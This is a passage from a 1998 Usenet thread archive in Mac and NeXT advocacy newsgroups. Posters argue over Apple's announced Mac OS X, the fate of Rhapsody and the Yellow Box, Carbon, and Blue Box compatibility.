love the MacOS, and think it's the coolest thing around we've got a
suprise
for you.. Another machine basically Running Rhapsody with the
carbonified
apps. You tell them that since MacOS was the heart of Apple that you
couldn't just rip it out and replace it immediately. You tell them
that Apple
has listened to the MacOS developers lamentations and has come up with
a solution for them and for the Users who don't want to see Unix.
Ta da. MacOS X. In the same breath you say that MacOS X is
the child of the marriage of Apple & NeXT technolgies, or of Rhapsody
and MacOS API's but done in such a way as to give 'buzzwords here'
compatibility. And then were I Steve I would have clearly laid out
a new roadmap
Rhapsody MacOS MacOS X(Rhapsody Jr.)
and showed exactly what pieces were going where, and what pieces were
going into the trash. I would have also laid out the hardware
compatibility
list for each of these with a emphasis on the fact that G3 will be
supported
across the OS line. That Rhapsody is going to be the Server and MacOS
X is going to be the User version. I would flatly emphasize that most
of
the new development will be going on with the YB/Mach/BSD layers
and that Carbon is going to come about for all the developers that want
a smoother transition to YB (or a longer time frame). Make it clear
that
MacOS is going to tranit to MacOS X, that Rhapsody will continue as
the Server and the YB development center and MacOS will receive
(as any child would from a good parent) the benefits of YB development
from Rhapsody. Also state that because Rhapsody has YB/BlueBox
and much of the core of MacOS X that the only extra development
effort (a second team) will be going into Carbon - and bringing MacOS
developers up to speed now to carbonify their apps to prepare for
MacOS X and the reasons this will make the way to YB easier.
I would also comment on whether Carbon will make it into Rhapsody
and that YB is going to continue in ALL it's incarnations (if true)
well
into the future - that the future is YB, and MacOS is the new less
painful road to that future. I'd also say that because we very much
value all of our MacOS developers we have done and will be doing
this extra work for you. It is up to you to take advantage of the
extra time we are trying to give you to port your apps to YB, and
for now many of your apps will continue to work in the BlueBox
(as they are and even as you carbonify them), but if you want
native performance, memory protection, multitasking, multicpu support,
move to YB and get it in Rhapsody 1.0 or go to Carbon and get MacOS
7,8 NOW, and BlueBox in Rhapsody (3 months) while you wait for
MacOS X.
If all the info was there about hardware etc. And that is what
Apple is planning they might have done well to just say it that way.
There would have been no question about the commitment to YB
and Rhapsody (across archs), and they would have renewed their
commitment to the MacOS dev's
We wouldn't be left with as many questions and press that Apple
is going to drop Rhapsody.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:20:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jd2q7$bs1$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> OK, how many "Mac OS developers" do you think will hang around until Q3
> '99 to get the stuff Jobs/Apple/Amelio promised would be available in
> the *general* Mac OS (which was code-named Rhapsody) in Q2 '98?
All the stuff that was promised for Q2 '98 will be available, in Q3 '98. By
the standards of these things, that's pretty darn close to schedule.
What will be delivered in Q3 '99 is substantially more than what had been
promised earlier.
> ... You don't think "here it is--in Q3 1999!" has
> the slightest chance of "alienating Mac developers" some of whom have
> been working their tails off trying to get set up for Rhapsody in Q3
> 1998?
All those who have been working their tails off to have Yellow-Box apps ready
will be able to ship when Rhapsody ships, ie next quarter. Those who have to
wait longer are those who have NOT done anything to adapt their apps to
Rhapsody. They get a bonus they had not anticipated, since their apps will
gain access to protected memory and preemptive multitasking with a minimal
effort. But they do have to wait a little before this can happen.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Date: Thu, 14 May 1998 16:00:05 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104>
<pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com>
<6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355a8e25.0@news.camtech.net.au>
In article <3559F5A0.E8E7FB3D@spamtoNull.com> , Jonathan Harker alias poster
sans clue <Limeyville@spamtoNull.com> wrote:
>That's precisely what I think this is--yet another PR ploy from the
>neo-Apple. They know full well that a mainstream Rhapsody is going to
>take another 18 months to become palatable to most prospective
>customers, so rather than announce a "We're late" apology, Jobs comes up
>with a way to "fool" people and rolls Rhapsody over into "Mac OS 10" for
>Q3 1999. How many will be fooled? That remains to be seen, I think.
>
>BTW, there never was a "compatibility environment" that worked to any
>satisfactory degree. Blue box, while certainly a great idea on paper and
>enough to allow Jobs to squiggle into his present position, has always
>been little more than fool's gold. That's precisely why "Mac OS 10"
>slated for Q3 1999 does away with it. What could be more transparent? As
>many have said, Mac OS 10 is merely Rhapsody very late and without the
>blue box or need to explain why there's no blue box. And just like with
>Blue Box, it looks great on paper and Q3 1999 is a long, long way off.
Great conspiacy theory Mulder! Just one problem, the blue box works NOW and
Rhapsody will be out in September with the blue-box. That is about four months
not 18. But never let the facts stand in the way of a good story or, in this
case, a bullshit one.
Tim Priest
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 00:49:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17FF021-29A95@206.165.43.136>
References: <nagleEsxrz1.Grn@netcom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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John Nagle <nagle@netcom.com> said:
> The problem was that OpenDoc parts were useful only if you were using
>a container application that supported them. The most useful container
>applications are usually a spreadsheet, a word processor, and a web
>browser. On the Macintosh, Microsoft controls the first two and is
>taking over the third.
>
> Understand that since Microsoft controls the most important Mac
>applications, Microsoft can essentially veto any MacOS change.
Ironically, OD was supposed to prevent that takeover...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Date: 14 May 1998 07:52:21 GMT
Organization: Idiom Communications
Message-ID: <6je7rl$pcj$3@news.idiom.com>
References: <6j65u1$c04$1@news.orbitworld.net> <nYv61.155$Q22.1604745@newsread.com>
Mime-Version: 1.0
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Cc: nephilim@hotmail.com
"Nephilim" may or may not have said:
-> Microsloth has the largest following for a reason, and it's not because
-> they suck.
That's true, it's not *because* they suck, it's in spite of the fact that
they suck.
BTW, "following" is a very good way to describe it.
-jcr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 00:58:35 -0700
Message-ID: <see-below-1405980058350001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us> <mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu> <pulsar-ya02408000R1305981317320001@news-proxy.cso.uiuc.edu> <djboccip-1305981350130001@qburst.msfc.nasa.gov> <355a8c67.0@news.camtech.net.au>
In article <355a8c67.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
> In article <djboccip-1305981350130001@qburst.msfc.nasa.gov> ,
> djboccip@hiwaay.net (Dennis J. Boccippio) wrote:
>
> >The lack of PMT in the "invisible Blue Box" is more of a hassle,
> > but a small price to pay for seamless legacy app compatibility...
>
> Are you sure the "invisible Blue Box" (carbon blue box I assume) doesn't have
> PMT? I thought that threads were cooperative but Applications would be
> preemptive. Am I missing something?
No, those are two different things. MacOS X will have both the Carbon
libraries for the "new" Mac apps, and a separate Blue Box for older
(including 68k) apps. That Blue Box is also slated to be improved from
todays by becoming "invisible" in that apps running in it can mingle with
Yellow Box (and Carbon) apps within the same interface.
Blue Box and Carbon are not the same thing.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 21:42:45 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jd44l$522$1@camel21.mindspring.com>
References: <ericb-1105981718430001@132.236.171.104> <6jd2q7$bs1$1@nnrp1.dejanews.com> <355A0313.E62651A2@milestonerdl.com> <355A04FC.420CED76@milestonerdl.com>
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In article <B17F491A-9B67B@207.217.155.161> Brad Hutchings,
brad@hutchings-software.com writes:
>>Ah, if only Apple could have actually *done* a competent Blue Box, the
>>problem of developer support would have been nil since existing
>>applications would have run under Rhapsody.
>
>This is total BS. Apple did do a very competent Blue Box, and it had
>certain performance characteristics which would have made it worth a
>double-boot for many users.
Brad, don't bother replying to Harker. He is nothing more than a rabid
troll.
MC
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Wed, 13 May 1998 21:41:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jd431$e20$1@nnrp1.dejanews.com>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com> <Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > And since Rhapsody was never the official name of the future system we can
> > say that nothing has changed...
> >
> Except that unfortunately Rhapsody will now be released as "Rhapsody".
>
> I say unfortunately purely from the perspective of an OPENSTEP developer:
> the strategy Apple has outlined is technically very good for us; from the
> marketing perspective it makes things difficult. The average customer is
> going to need a lot of convincing that Rhapsody 1.0 isn't just going to be
> an orphaned product on release -- if you need proof look at how many
> people here still think Rhapsody's dead. This means that it's going to
> be a lot more difficult gaining new sales than it need have been had
> the strategy been more transparent. Making the strategy more
> transparent, however, might have been the greater of the two evils.
I'm not sure that lack of transparency has gained Apple all that much, given
the volume of FUD is has generated.
Naming issues aside, Rhapsody 1.0 was always going to be a tough sell because
it would have had few apps, even though those would have been good ones, and
in particular because it would have lacked the big-name apps most Mac users
have come to expect. The current plan is an improvement, since now Rhapsody
2.0 (aka Mac OS X) will have those apps.
A common name for Rhapsody and Mac OS X would have been helpful in that,
assuming the Blue Box performs well, Mac users might have switched even
before Carbon was available since they'd be no worse off running
their legacy apps in the Blue Box. This would have generated a larger
potential market for Yellow Box apps sooner. Now I suspect that many Mac users
will hold off until Rhapsody 2 (er, Mac OS X) is out simply because they don't
realize this, if only because of the name difference (the usual stigma
attached to 1.0 products will also play a part, no doubt). So it'll take
longer for the market for Yellow Box apps to develop. On the plus side, by
keeping many more traditional Mac developers in the fold, it will considerably
expand the likely market for Yellow Box apps in the long run. So it's a matter
of a smaller market sooner or a larger market later. I think a more
transparent strategy could have achieved the latter result without scaring off
people from Rhapsody 1. If Apple clarifies their road plan, that may yet
happen (hey, I can dream, can't I?).
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Message-ID: <355A96AD.ACA0E6AF@unet.univie.ac.at>
Date: Thu, 14 May 1998 09:01:01 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <see-below-1305982245580001@209.24.241.190>
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Matthew Vaughan wrote:
> In article <6jchjg$9nl$1@interport.net>, float@interport.net wrote:
>
> > Matthew Vaughan (see-below@not-my-address.com) wrote:
> >
> > : But how do you explain the tepid support for Yellow Box among Mac
> > : developers, and their enthusiastic endorsement of Carbon?
> >
> > Their attachment to their existing code base and expertise in the MacOS
> > API is understandably strong. Learning to code for Yellow Box would
> > require them to feel stupid again, a lot of people aren't willing to do
> > this.
> >
> > Those who bite the bullet will be suitably rewarded with faster
> > development cycles and better final products.
>
> Agreed, but it's more fundamental than that. Many developers simply don't
> have the resources to devote to such efforts. They're too busy with other
> things, like new features or Windows ports. Now you could argue that once
> they transition, YB would make all of this much easier, but you're really
> asking them to write applications on faith for a market that doesn't yet
> exist. Since they might have to give up much of their current efforts, I
> doubt many are willing to do that.
>
> Application developers are just asking for a chance to move into that
> market without having to risk so much.
>
> ....................................................
> MATTHEW VAUGHAN
> matthewv at best dot com (damn spammers...)
> http://www.best.com/~matthewv/
> ....................................................
This is where the cat bites its tail.
No users --> no developers --> No applications --> no users --> no devs
-->....
and on and on and on.
If this is true, YB IS doomed.
Luckily with the new plan, MacOS-devs will have a more modest migration
scheme, or so I think.(I must admit,I don't have a clue about
MacOS-developing)
Christian Benesch
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 17:50:39 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jd4jf$51e$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <3559D285.C7FC88FA@milestonerdl.com> <6jctjh$4m2$1@crib.bevc.blacksburg.va.us> <355A0000.98C34AB5@milestonerdl.com>
In article <355A0000.98C34AB5@milestonerdl.com>, mark@milestonerdl.com wrote:
> So, all you have is 'logic' that Apple won't produce a NT 5.x/98 YellowBox.
> Yeeeha!
> 'Logic' says Apple should make YellowBox for as may platforms as possible.
Perhaps your `logic' doesn't include the fact that it is FAR easier to
upgrade an existing YB implementation to a new OS version than it is to
produce a new one from scratch for a whole new OS.
Perhaps your `logic' doesn't include the fact that with MacOS and Windows
_alone_, they've got the _vast_ majority of the market covered anyway.
Perhaps your `logic' doesn't include the fact that if Apple weren't
willing to keep up to date on YB/Windows, they'd kill it now and save
themselves the development/sales/marketing costs.
Perhaps your `logic' is defective.
> Oh, and care to comment on this: The NT version of the YellowBox runtime
> was a NeXT project. Why does its continuation have to contiune as an Apple
> project?
Because Apple could have just dropped YB/Windows in the first place when
they bought NeXT, but didn't. That means they think they need it.
Because, in case you hadn't noticed, the acting CEO of company, the VP
of software (or is it OS development?), and the VP of hardware are all
ex-NeXT employees. Can you guess who's pulling the strings there?
Because, most importantly, the reason why NeXT produced YB for Windows
in the first place is exactly the same reason why Apple needs it --
the market is so small that an insufficient number of developers are
willing to develop solely for it.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 21:46:12 GMT
Organization: Michigan State University
Message-ID: <6jd4b4$5nv$4@msunews.cl.msu.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3559D285.C7FC88FA@milestonerdl.com> M Rassbach wrote:
>
>
> mmalcolm crawford wrote:
>
> > In <35597B98.E031BF17@milestonerdl.com> M Rassbach wrote:
> >
> > > Stepwise is a very pro-NeXTSTEP/OpenSTEP site.
> > >
> > So? Stepwise also has access to a number of clued up people inside
Apple,
> > and has established a record for getting facts right and not
publishing
> > unsubstantiated rumour.
Yes. Thank you Stepwise. Go Scott!!
> > > And if the cross-platform aspect is gone, I think of YellowBox is
dead.
> > >
> > Where has anyone said that the cross-platform aspect has gone?
> >
> > Apple has just announced pricing information for YB/Windows, there
were
> > sessions on YB/Windows development at WWDC, YellowBox is alive and
well.
> >
> > If you dig your head out of the sand you'll be able to hear the
messages
> > easier.
>
> To paraphrase someone else:
>
> I know Steve doesn't like to build software that sells someone else's
> hardware. Unless there is a two way opportunity for PPC hardware
sales, the
> argument for cross-compiling - weak.
Let's say for similiarly equipped PPC (same Mhz fo Mhz, same RAM, same
HD, same graphics card, monitor) the price is 2:1. If the performance
averages
out to be 2:1 (remember Mhz for Mhz) then I can make a strong case
that
someone will buy the PPC vs. the Intel. The question will be when one
factors
into the equation the software/OS/support/power/stability whether the
PPC
will stand up over the Intel box. If it does then giving someone a
Intel version
of Rhapsody will only make them drool for PPC. If you don't then they
will
have no reason to drool since comparisions won't/can't be made.. Also
take into account for many of the things I'll be doing I'll be
comparing
Rhapsody performance to Linux.
> Can you give a compelling argument to future YellowBox support on
Intel? One
> that has NT 5.x/win98 listed EXPLICITLY? One that shows a future
beyond
> Rhapsody for Intel 1.0?
There is no formal announcement of this support since there is no
release of NT5
and Win98. How can you support a non shipping product? Who knows
maybe
this is under wraps since Bill Gates is slated to speak at a suprise
session on
friday - or by satellite? :) I can't see any reason for Apple to drop
Rhapsody
for Intel. Clearly initial sales will dictate whether this is true,
and if all you
nay sayers and FUD spreaders have your way no-one will buy Rhapsody.
And you will have a self fufilling prophecy.
> So far, all you've trotted out is MacOS as a future. NT4 is a
present issue
> that will be used 'till 1999....more than enuf time to justify
pricing and
> sessions.
Bull. YB is the future, Rhapsody is the near future. Code for Java,
or YB
take your pick. People will be using 95/NT4 for some time to come.
Hell
I still know people using NT3.51 for various reasons.
> Now, I know you can't know (or, well tell) about a win98 announcement
on
> Friday, but when the RDF is turned off Friday, will you have _in
hand_
> anything about NT5.x and Rhapsody for Intel beyond 1.0/beyond MacOS
X?
>
Who knows. Wait until NT5 or 98 is announced/shipping and then bug
Apple
about it. Then you'll know. I still don't see what your complaints
are. Apple
is committed to YB on other archs. I don't see that changing for some
time to
come - if they do drop it they will have given up and you can sell your
Apple
stock as Carbon or MacOS X won't cut it in my mind - not unless most of
the
Rhapsody core is still in MacOS (i.e. YB/Mach/BSD)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: rkt1@cornell.eduz (Tapella)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 03:03:59 -0400
Organization: Cornell U.
Sender: rkt1@cornell.edu (Verified)
Message-ID: <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at>
Well, obviously nobody is afraid of stability. I'm talking about the CLI
and general user interface (I've never seen X-windows with an interface as
elegant and simple as the MacOS's. Powerful, yes. Easy, friendly, no.).
Sorry if I misunderstood what the first guy (hehe whoever that was, sorry)
was talking about re: "paranoia"
Having MacOS X/Rhapsody be stable is obviously good, but Mac users in general
have a "paranoia" of Unix because it's ugly and hard to use, not because it's
too powerful ;) (And I'm not sure about the technicality of all this, but
is "unix" responsible for the stability, or is it the kernel? Or both?)
rkt.
In article <355A14F6.3A0CD0CB@unet.univie.ac.at>, Christian Benesch
<a9226931@unet.univie.ac.at> wrote:
> 3 Unix reasons:
> Stability
> Stability
> Stability
>
> And this will help elementary schools and graphic artists and everyone
else, even
> though they will never open a UNIX shell window.
>
> Christian Benesch
>
> Tapella wrote:
>
> > > I still can't see,why they would want to abandon the BSD-part,as they
> > had a working
> > > system with NextStep and OpenStep all along.
> > > With the modification to the kernel that now supports multiple
> > processors it took them a
> > > few months to get the whole thing running(quick I would say).
> > > And as in OpenStep: if you don't need the Unix, you won't see the Unix.
> > >
> > > Is there really such a Unix-phobia in the Mac-community?
> >
> > Well, I can't really see an elementary school class being interested
in using
> > Unix for anything. Can you? What would a graphic artist use Unix for?
> > So of course there's a "phobia" although there are also many users who enjoy
> > using both the MacOS and any Unix flavor when appropriate.
> >
> > And also I just read (somewhere) that BSD was necessary for YB to run on top
> > of Mach or something along those lines. But I really don't know enough to
> > pretend like I know what I'm talking about. =)
> >
> > rkt
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:00:44 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981500440001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com>
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In article <35586F01.243A7BE3@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> But obviously, Apple isn't planning too terribly much for Rhapsody, is
> it? That's fairly obvious.
All they're planning is for it to be the core of Mac OS X.
> This is just PR work by Jobs done in advance
> to stem (he hopes) the huge disappointment the released Rhapsody will
> be.
For development of new applications? It will be (and is) great.
For porting of old applications? It isn't that great. But Mac OS X will be,
and since that's what everyone is concerned about, that's what he's
focusing on.
> By diverting attention to the NeXT Great Thing post Rhapsody, Jobs
> hopes to minimize the bad PR the company will get by the actual Rhapsody
> release later this year, which will be incomplete, buggy, and a let
> down.
Incomplete? How? Buggy? All reports show that it is very stable. A let
down? It will offer everything it was supposed to, including a working blue
box.
> In other quarters it's called "bait
> & switch."
No, "switch" implies that he is removing something he promised. He isn't:
Rhapsody will come out as announced, with all the features it's supposed
to. Allegro and Sonata will come out with everything that was expected of
them. All Mac OS X is doing is adding another release, without changing
anything else.
> If Jobs was as optimistic as you are about all of these interim, baby
> steps, why bother to announce "Mac OS 10" at this early stage, almost
> two years before its release?
Because developers are worried about getting next-generation features on
their current apps. Mac OS X provides this. Adobe proved it.
> Frankly, you should remember that Mac OS X (10) is at least 18 months
> out. If Jobs is betting on G3 exclusivity at that time, it would be in
> character for him and not surprising. Why would that surprise you? Ever
> since OS8, Jobs has been moving the Mac OS away from hardware backwards
> compatibility. You need to remember that unlike M$, Apple sells hardware
> and that hardware is *the* major part of Apple's revenue stream.
I agree with the actions, but not with the reasoning. Promising backwards
compatibility just opens things up for lawsuits, and makes the work of the
engineering team harder. The law of diminishing returns comes to mind. No,
they should concentrate on getting things working for the G3, then worry
about supporting older machines.
> Obviously, Apple is predicting it won't meet users' expectations, hence
> this pre-announcement to hopefully deflect attention away from Rhapsody
> and towards an OS about two years out which has barely left the drawing
> board. Isn't that obvious?
Rhapsody will not meet users' expectations for running old apps with modern
OS features. It was never promised to. But Mac OS X will, and will also
meet developer's expectations. Mac OS X is better, but Rhapsody is still
good for the same things it was good for before: writing apps, and running
new apps in a stable, modern environment.
> Unfortunately, Mac OS X is likely to provide little or nothing to Mac
> developers for about a year (that they can use.)
Beta in less than nine months. Libraries to start coding in four months.
With luck, they'll have apps ported over to Carbon by the time the first
beta of X is released. If it only took 1.5 weeks to get a working
Photoshop....
> That's the PR spiel, of course. Right now, as Apple is largely a "PR"
> company, what else is new?
It's a PR spiel that is supported by the facts (i.e. Adobe).
> Oh, come on. Ever since day one of Apple's NeXT acquisition and the
> formulation of Rhapsody, Jobs has been backpedaling seriously. He's been
> very vocal about the importance of the "crown jewel" Mac OS and
> relatively silent on Rhapsody.
Right. He's been refocusing on legacy support in a new OS, instead of a new
OS without legacy support. But the new OS is still there.
> Even now that Jobs says openly that Mac
> OS 10 is far more important to the company than Rhapsody, some Mac users
> continue to substitute their own person preferences for what Jobs
> actually says. Go figure.
Inasmuch as Rhapsody is a subset of Mac OS X, Rhapsody is also important to
the company.
> How much clearer can it be? Jobs propensity to hype is only exceeded by
> the company's failure to deliver what it *promises.*
No promises have been broken in the last couple of years.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:03:49 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981503490001@news>
References: <35593b48.6388203@198.0.0.100> <B17DF73F-8875F@209.109.225.96>
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In article <B17DF73F-8875F@209.109.225.96>, "Benjamin Smith"
<benjs@ix.netcom.com> wrote:
> The truth of the matter. Windows gets crude multitasking, so-so dynamic
> memory allotment, crude protected memory 4 years ago and Apple's still
> trying and now promising some great form of these will occur in 1999. And
> still haven't delivered a crude version. I'm tired of menu block and my
> mouse being useless while apps are launching using MacOS 8.1
The "crude version" will be out in four months. The great version will be
out in 1999. What's the problem?
Andy Bates.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: 14 May 1998 00:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17FEB23-16E35@206.165.43.136>
References: <see-below-1305982237220001@209.24.241.190>
nntp://news.primenet.com/comp.sys.next.advocacy
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Matthew Vaughan <see-below@not-my-address.com> said:
>
>
>One question: will OS 10 completely lack DPS and any DPS replacement? I
>assume that Carbon will use QD, but what about YB? I wouldn't guess they'd
>retool YB just to use QuickDraw, but I could be wrong.
>
The Graphics session(s) are tomorrow (Thursday), so we'll know soon enough.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 16:34:54 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A11FE.175EB7DE@milestonerdl.com>
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Nathan Urban wrote:
> In article <355A0000.98C34AB5@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > So, all you have is 'logic' that Apple won't produce a NT 5.x/98 YellowBox.
>
> > Yeeeha!
>
> > 'Logic' says Apple should make YellowBox for as may platforms as possible.
>
> Perhaps your `logic' doesn't include the fact that it is FAR easier to
> upgrade an existing YB implementation to a new OS version than it is to
> produce a new one from scratch for a whole new OS.
Then make the PUBLIC committment, if it's SO EASY.
> Perhaps your `logic' doesn't include the fact that with MacOS and Windows
> _alone_, they've got the _vast_ majority of the market covered anyway.
Give developers MORE. Give them Solaris/HP-UX. (They had that with
OpenSTEP)Then, get down and dirty.....get runtimes to work with Linux/FreeBSD.
(Sell the runtimes. If you want non-mainstream implementation you pay.)
> Perhaps your `logic' doesn't include the fact that if Apple weren't
> willing to keep up to date on YB/Windows, they'd kill it now and save
> themselves the development/sales/marketing costs.
What 'up to date'? NT4/95 has been out there for some time. What 'up to date'?
> Perhaps your `logic' is defective.
Perhaps you are delusional as to how important YellowBox actually is.
If Apple is unwilling to say 'We are willing to commit to supporting NT 5.x, so
long as we obtain proper support from Microsoft', then how serious IS YellowBox
in Multi-platform?
> > Oh, and care to comment on this: The NT version of the YellowBox runtime
> > was a NeXT project. Why does its continuation have to contiune as an Apple
> > project?
>
> Because Apple could have just dropped YB/Windows in the first place when
> they bought NeXT, but didn't. That means they think they need it.
Apple could have dropped the Newton before creating the MP2000. But they
didn't. Apple could have never created the 4 Meg upgrade for the MP2000. But
they didn't. And the 4 meg DRAM upgrade AND the MP2000 was trotted out as
reasons why Apple wasn't going to cancel the Newton.
Where is the Newton now? It's gone, because it's not a Mac.
Are you forgetting that 'Newton was top-knotch technology', but 'rejected in the
marketplace'? What's on top? A box using graffiti,
And, how is YellowBox different? YellowBox *IS* top-notch. Good enuf that you
have one cloning of it going on. (GNUSTEP) Mac API isn't even sexy enuf to
bother having a cloning project. YellowBox couldn't get developers...and it's
NOT the Mac API.
With Carbon, Apple has it's Mac. And YellowBox isn't a Mac.
> Because, in case you hadn't noticed, the acting CEO of company, the VP
> of software (or is it OS development?), and the VP of hardware are all
> ex-NeXT employees. Can you guess who's pulling the strings there?
That doesn't mean that YellowBox will survive.
When Steve Jobs came on board, Newton users got nervous. When it was spun off,
all looked good. Things change....and, with Apple and it's technology, sometimes
for the worse.
